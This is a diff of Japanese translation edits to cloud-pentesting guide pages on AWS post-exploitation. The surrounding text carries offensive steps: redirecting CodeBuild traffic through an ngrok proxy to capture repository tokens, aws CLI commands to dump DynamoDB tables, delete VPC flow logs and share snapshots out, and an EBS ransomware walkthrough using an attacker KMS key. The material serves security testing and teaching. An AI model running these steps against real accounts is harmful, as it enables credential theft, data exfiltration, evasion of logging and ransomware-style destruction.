+- 最後に、**Build the project**をクリックすると、**credentials**が**クリアテキスト**(base64)でmitmポートに**送信されます**:
 (1).png)
### ~~HTTPプロトコル経由~~
-> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(金曜日だと思います)。したがって、攻撃者はもはやこれを悪用できません :)**
+> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(おそらく金曜日)。したがって、攻撃者はもはやこれを悪用できません :)**
-**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、権限がOAuth経由で設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
+**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、OAuth経由で権限が設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
- 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます(例えば`http://5.tcp.eu.ngrok.io:14972`)。
@@ -144,8 +144,8 @@ mitm.run()
.png)
-- 次に、GitHubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば:`http://github.com/carlospolop-forks/TestActions`
-- 次に、プロキシ変数(http_proxyとhttps_proxy)で指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)の基本的な例を実行します。
+- 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば: `http://github.com/carlospolop-forks/TestActions`
+- その後、プロキシ変数(http_proxyとhttps_proxy)によって指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
```python
from mitm import MITM, protocol, middleware, crypto
@@ -162,7 +162,7 @@ mitm.run()
```sh
aws codebuild start-build --project-name
```
-- 最後に、**credentials**は**平文**(base64)でmitmポートに**送信されます**:
+- 最後に、**資格情報**は**平文**(base64)でmitmポートに送信されます:
.png)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index bc48988a0..cf34fa00a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - DLM Post Exploitation
+# AWS - DLMポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,9 +6,9 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、他のAWSアカウントのKMSキーを使用してスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送するAmazon DLMを利用できます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
+ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、Amazon DLMを使用し、別のAWSアカウントのKMSキーでスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送することができます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
-まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するコマンドを使用します。
+まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するためのコマンドを使用します。
`aws ec2 describe-volumes`
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index 2a563f287..f180f39e2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -4,7 +4,7 @@
## DynamoDB
-詳細については、以下を確認してください:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@
### `dynamodb:BatchGetItem`
-この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**(テーブルのすべてのデータを単に要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(これはテーブルメタデータを取得することで得られます(`describe-table`)。
+この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**(テーブルのすべてのデータを要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(これはテーブルメタデータを取得することで得られます(`describe-table`))。
{{#tabs }}
{{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
### `dynamodb:GetItem`
-**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
-**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較(必ず表示される必要があります)は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
{{#tabs }}
{{#tab name="json file" }}
@@ -119,7 +119,7 @@ aws dynamodb scan --table-name #Get data inside the table
### `dynamodb:PartiQLSelect`
-この権限を使用すると、**テーブル全体を簡単にダンプできます**。
+この権限を使用して、**テーブル全体を簡単にダンプできます**。
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
@@ -144,12 +144,12 @@ aws dynamodb export-table-to-point-in-time \
--export-time \
--region
```
-注意:これが機能するためには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます:
+この機能を利用するには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます:
```bash
aws dynamodb describe-continuous-backups \
--table-name
```
-もしそれが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です:
+それが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です。
```bash
aws dynamodb update-continuous-backups \
--table-name \
@@ -159,14 +159,14 @@ aws dynamodb update-continuous-backups \
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる(または、バックアップを作成してから別のテーブルに復元することもできる)。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップからの**情報**を確認することができる。
+これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる(または、別のテーブルに復元するためにバックアップを作成することさえできる)。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップから**情報**を確認することができる。
```bash
aws dynamodb restore-table-from-backup \
--backup-arn \
--target-table-name \
--region
```
-**潜在的な影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
+**潜在的影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:PutItem`
@@ -206,7 +206,7 @@ aws dynamodb put-item \
### `dynamodb:UpdateItem`
-この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**のではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。**
+この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**ものではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。**
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -262,14 +262,14 @@ aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
--region
```
-**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不能。
+**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不可能。
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: これが実際に機能するかテストする
-これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
+これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
1. DynamoDBテーブルでストリームを有効にする:
```bash
@@ -292,12 +292,12 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region
```
-4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します:
+4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します:
```bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator \
--region
```
-**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。
+**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index a2006b2e8..244d4a595 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,4 +1,4 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM & VPC ポストエクスプロイテーション
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、受信および送信トラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。\
+VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、インバウンドおよびアウトバウンドトラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。\
攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:
詳細については、このページを確認してください:
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### 実行中のインスタンスのコピー
-インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります([EC2特権昇格のトリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください)。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)**:
+インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります([EC2特権昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください)。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)**:
```shell
# List instances
aws ec2 describe-images
@@ -56,7 +56,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
aws-ebs-snapshot-dump.md
{{#endref}}
-### データ流出
+### データの流出
#### DNS流出
@@ -64,7 +64,7 @@ EC2をロックダウンしてトラフィックが外に出られないよう
- **VPCフローログはこれを記録しません**。
- AWS DNSログへのアクセスはありません。
-- 次のコマンドで「enableDnsSupport」をfalseに設定することでこれを無効にします:
+- 次のコマンドで "enableDnsSupport" を false に設定することで無効にします:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id `
@@ -79,13 +79,13 @@ EC2をロックダウンしてトラフィックが外に出られないよう
aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
-### Privesc to ECS
+### ECSへの権限昇格
-EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。
+EC2インスタンスを実行し、それをECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
-### Remove VPC flow logs
+### VPCフローログの削除
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
@@ -95,27 +95,27 @@ aws ec2 delete-flow-logs --flow-log-ids --region
- `ssm:StartSession`
-コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。これが有用なシナリオの一つは、[バスティオンホスト](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
+コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。この機能が役立つシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
> セッションを開始するには、SessionManagerPluginをインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. マシンにSessionManagerPluginをインストールします
-2. 次のコマンドを使用してバスティオンEC2にログインします:
+2. 次のコマンドを使用してBastion EC2にログインします:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. [AWS EC2環境におけるSSRFの悪用](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)スクリプトを使用してBastion EC2 AWSの一時的な資格情報を取得します
-4. 資格情報を自分のマシンの`$HOME/.aws/credentials`ファイルに`[bastion-ec2]`プロファイルとして転送します
-5. Bastion EC2としてEKSにログインします:
+3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します
+4. 資格情報を `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして自分のマシンに転送します
+5. Bastion EC2 として EKS にログインします:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
```
-6. `$HOME/.kube/config`ファイルの`server`フィールドを`https://localhost`に更新します
+6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` にポイントするように更新します
7. 次のようにSSMトンネルを作成します:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region
```
-8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベートEKSクラスターにアクセスできます:
+8. `kubectl` ツールからのトラフィックは、Bastion EC2 を介して SSM トンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
```shell
kubectl get pods --insecure-skip-tls-verify
```
@@ -123,23 +123,23 @@ SSL接続は、`--insecure-skip-tls-verify`フラグ(またはK8s監査ツー
最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。
-### AMIを共有する
+### Share AMI
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
-### 公共およびプライベートAMI内の機密情報を検索する
+### 公共およびプライベート AMI での機密情報の検索
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovelは、**公共またはプライベートのAmazon Machine Images (AMIs)内の機密情報を検索するために設計されたツール**です。ターゲットAMIからインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール** です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
-### EBSスナップショットを共有する
+### EBS スナップショットの共有
```bash
aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
```
### EBS Ransomware PoC
-S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのがどれほど簡単であるかを考えると、Ransomware Management Service(RMS)に名前を変更すべきです。
+S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが非常に簡単であることから、Ransomware Management Service(RMS)に改名されるべきです。
-まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSが私のためにキーのデータを管理しますが、現実的なシナリオでは、悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。
+まず、「攻撃者」のAWSアカウントから、KMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。
```
{
"Version": "2012-10-17",
@@ -239,13 +239,13 @@ S3のポストエクスプロイテーションノートで示されたランサ
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-公開アクセス可能なキーを使用できるようになりました。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットであり、この攻撃は高特権 AWS アカウントの侵害を前提としています。
+次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高特権の AWS アカウントが侵害されていると仮定しています。
 
-S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのスナップショットを使用してコピーを作成し、「攻撃者」アカウントから公開されているキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 
+S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 
-これにより、アカウントに残るのは暗号化された EBS ボリュームのみとなります。
+これにより、アカウントに残るのは暗号化された EBS ボリュームのみになります。

@@ -324,15 +324,15 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ
]
}
```
-少々お待ちください。新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームの 1 つをアタッチしようとします。ボリュームをアタッチできることがわかります。
+新しく設定されたキー ポリシーが伝播するのを少し待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。
 
-しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
+しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキーを使用して復号化できないため、キー ポリシーがもはやそれを許可しないからです。
 
-これが使用される Python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
+これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最終的にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 22006b900..d6745236b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -32,7 +32,7 @@ make docker/build
IMAGE=".img" make docker/run #With the snapshot downloaded
```
> [!CAUTION]
-> **注意** `dsnap` は公開スナップショットをダウンロードすることを許可しません。これを回避するために、スナップショットをあなたの個人アカウントにコピーし、それをダウンロードすることができます:
+> **注意** `dsnap` は公開スナップショットのダウンロードを許可しません。これを回避するには、スナップショットを自分のアカウントにコピーし、それをダウンロードできます:
```bash
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -46,11 +46,11 @@ dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```
-この技術の詳細については、[https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)の元の研究を確認してください。
+この技術に関する詳細は、元の研究を参照してください [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
-Pacuを使用して、モジュール[ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)でこれを行うことができます。
+この操作は、モジュール [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) を使用してPacuで実行できます。
-## AWSでスナップショットを確認する
+## AWSでのスナップショットの確認
```bash
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
```
@@ -85,7 +85,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
ステップ8:コマンド`sudo mount /dev/xvdf /newvolume/`を使用して、ボリュームを「newvolume」ディレクトリにマウントします。
-ステップ9:「newvolume」ディレクトリに移動し、ディスクスペースを確認してボリュームマウントを検証します。
+ステップ9:「newvolume」ディレクトリにディレクトリを変更し、ボリュームマウントを検証するためにディスクスペースを確認します。
このアクションを実行するには、次のコマンドを使用します:
@@ -94,7 +94,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
これをPacuを使用して、モジュール`ebs__explore_snapshots`で行うことができます。
-## AWSでスナップショットを確認する(cliを使用)
+## AWSでのスナップショットの確認(cliを使用)
```bash
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id
@@ -120,13 +120,13 @@ sudo mount /dev/xvdh1 /mnt
ls /mnt
```
-## Shadow Copy
+## シャドウコピー
-任意のAWSユーザーが**`EC2:CreateSnapshot`**権限を持っている場合、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために**NTDS.ditとSYSTEM**レジストリハイブファイルを**エクスポート**します。
+**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成**し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために、**NTDS.ditおよびSYSTEM** レジストリハイブファイルをエクスポートします。
-このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術の1つを使用することもできます。
+このツールを使用して攻撃を自動化できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) または、スナップショットを作成した後に以前の技術の1つを使用することもできます。
-## References
+## 参考文献
- [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index a3e9fb684..d983d6532 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,15 +1,15 @@
-# AWS - Malicious VPC Mirror
+# AWS - 悪意のある VPC ミラー
{{#include ../../../../banners/hacktricks-training.md}}
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**詳細については** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **を確認してください!**
-クラウド環境におけるパッシブネットワーク検査は**困難**であり、ネットワークトラフィックを監視するためには大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム(IDS)に送信されて**分析**されることができます。
